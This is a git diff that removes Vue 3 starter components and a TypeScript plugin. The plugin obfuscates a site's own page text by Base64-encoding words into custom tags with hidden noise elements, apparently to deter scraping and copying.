main: Quick commit
This commit is contained in:
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import { inject } from "vue";
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate', 'op-no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
